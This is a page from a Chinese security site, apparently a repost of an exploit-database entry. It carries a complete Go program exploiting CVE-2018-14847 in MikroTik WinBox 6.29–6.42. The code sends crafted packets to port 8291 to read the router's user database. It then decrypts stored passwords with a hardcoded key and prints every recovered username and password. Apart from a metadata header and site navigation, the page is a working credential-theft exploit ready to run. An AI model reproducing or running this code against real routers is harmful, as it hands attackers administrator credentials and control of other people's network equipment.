首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mikrotik WinBox 6.42 - Credential Disclosure (golang)
来源:@slider 作者:Yefimenko 发布时间:2018-08-27  
 
# Title: Mikrotik WinBox 6.42 - Credential Disclosure ( golang edition )
# Author: Maxim Yefimenko ( @slider )
# Date: 2018-08-06
# Sotware Link: https://mikrotik.com/download
# Vendor Page: https://www.mikrotik.com/
# Version: 6.29 - 6.42
# Tested on: Fedora 28 \ Debian 9 \ Windows 10 \ Android ( wherever it was possible to compile.. it's golang ^_^ )
# CVE: CVE-2018-14847
# References:
# ( Alireza Mosajjal ) https://github.com/mosajjal https://n0p.me/winbox-bug-dissection/
# ( BasuCert ) https://github.com/BasuCert/WinboxPoC
# ( manio ) https://github.com/manio/mtpass/blob/master/mtpass.cpp
# and special thanks to Dmitriy_Area51
 
*/
 
package main
 
import (
    "crypto/md5"
    "fmt"
    "net"
    "os"
    "strings"
    "time"
)
 
var (
    a = []byte{0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
        0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
        0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
        0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
        0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
        0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
        0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
        0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
        0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
        0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
        0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
        0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
        0x00, 0x00}
 
    b = []byte{0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
        0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
        0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
        0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
        0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
        0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
        0x00, 0x02, 0x00, 0x00, 0x00}
 
    buf = make([]byte, 1024*8)
)
 
func checkErr(err error) {
    if err != nil {
        fmt.Println("Error:" + err.Error())
    }
}
 
func decryptPassword(user []byte, passEnc []byte) string {
    var passw []byte
    hasher := md5.New()
    hasher.Write(user)
    hasher.Write([]byte("283i4jfkai3389"))
    key := hasher.Sum(nil)
 
    for i := 0; i < len(passEnc); i++ {
        passw = append(passw, passEnc[i]^key[i%len(key)])
    }
 
    return string(ASCIIonly(passw))
}
 
func ASCIIonly(s []byte) []byte {
    for i, c := range s {
        if c < 32 || c > 126 {
            return s[:i]
        }
    }
    return s
}
 
func extractPass(buff []byte) (s []string) {
    var (
        usr []byte
        pwd []byte
    )
 
    //searching for StartOfRecord
    for i := 0; i < len(buff); i++ {
 
        if i+2 >= len(buff) {
            break
        }
 
        if (buff[i] == 0x4d) && (buff[i+1] == 0x32) && (buff[i+2] == 0x0a || buff[i+2] == 0x10) {
            // fmt.Printf("Probably user record at offset 0x%.5x\n", i)
 
            //some bytes ahead is enable/disable flag
            i += int((buff[i+2] - 5))
            if i >= len(buff) {
                break
            }
 
            //searching for StartOfRecNumber
            if i+3 >= len(buff) {
                break
            }
 
            for !((buff[i] == 0x01) && ((buff[i+1] == 0x00) || (buff[i+1] == 0x20)) && (buff[i+3] == 0x09 || buff[i+3] == 0x20)) {
                i++
                if i+3 >= len(buff) {
                    break
                }
            }
 
            i += 4
            if i >= len(buff) {
                break
            }
            // fmt.Printf("SORn: 0x%X\n", i)
 
            // comment?
            i += 18
            if (i + 4) >= len(buff) {
                break
            }
            if (!((buff[i+1] == 0x11) && (buff[i+2] == 0x20) && (buff[i+3] == 0x20) && (buff[i+4] == 0x21))) && (buff[i-5] == 0x03 && (buff[i] != 0x00)) {
                if (i+1)+int(buff[i]) >= len(buff) {
                    break
                }
                i += int(buff[i])
            } else {
                i -= 18
            }
 
            //searching for StartOfPassword
            if i+4 >= len(buff) {
                break
            }
 
            for !((buff[i] == 0x11) && (buff[i+3] == 0x21) && ((buff[i+4] % byte(0x10)) == 0)) {
                i++
                if i+4 >= len(buff) {
                    break
                }
            }
            i += 5
            if (i + 3) >= len(buff) {
                break
            }
 
            if (buff[i-1] != 0x00) && !((buff[i] == 0x01) && ((buff[i+1] == 0x20 && buff[i+2] == 0x20) || (buff[i+1] == 0x00 && buff[i+2] == 0x00)) && (buff[i+3] == 0x21)) {
                pwd = buf[i-1+1 : int(buf[i-1])+i-1+1]
                i += int(buff[i-1])
            }
 
            //searching for StartOfUsername
            if i+3 >= len(buff) {
                break
            }
            for !((buff[i] == 0x01) && (buff[i+3] == 0x21)) {
                i++
                if i+3 >= len(buff) {
                    break
                }
            }
 
            i += 4
            if i >= len(buff) {
                break
            }
            if buff[i] != 0x00 {
                if i+int(buff[i]) >= len(buff) {
                    break
                }
 
                usr = ASCIIonly(buff[i+1 : int(buff[i])+i+1])
                i += int(buff[i])
            }
 
            decrypted := decryptPassword(usr, pwd)
            //fmt.Printf(" --> %s\t%s\n", buff[i], decrypted)
 
            if len(usr) != 0 {
                s = append(s, strings.Join([]string{string(usr), string(decrypted)}, ":"))
            }
 
        }
    }
 
    return s
}
 
func main() {
 
    if len(os.Args) < 2 {
        fmt.Printf(" [ usage: %s 192.168.88.1\n\n", os.Args[0])
        os.Exit(0)
    }
 
    conn, err := net.DialTimeout("tcp", os.Args[1]+":8291", time.Duration(3*time.Second))
 
    if err != nil {
        fmt.Println(err.Error())
        return
    }
 
    defer conn.Close()
 
    conn.Write(a)
    reqLen, err := conn.Read(buf)
    checkErr(err)
    if reqLen < 38 {
        panic("First packet is too small")
    }
 
    b[19] = buf[38]
 
    conn.Write(b)
    reqLen, err = conn.Read(buf)
    checkErr(err)
    db := buf[:reqLen]
 
    s := extractPass(db)
    for i, acc := range s {
        data := strings.SplitN(acc, ":", 2)
        fmt.Printf(" [%d] %s\t%s\n", i, data[0], data[1])
    }
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Central Management Software 1.
·OpenSSH 2.3 < 7.7 - Username E
·ObserverIP Scan Tool 1.4.0.1 -
·CEWE Photoshow 6.3.4 - Denial
·Foxit Reader 9.0.1.1049 Buffer
·ADM 3.1.2RHG1 - Remote Code Ex
·cPanel 76 Cross Site Scripting
·Microsoft Edge Chakra JIT - Im
·Cloudme 1.9 - Buffer Overflow
·Microsoft Edge Chakra JIT - Pa
·cgit 1.2.1 - Directory Travers
·Microsoft Edge Chakra JIT - 'D
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved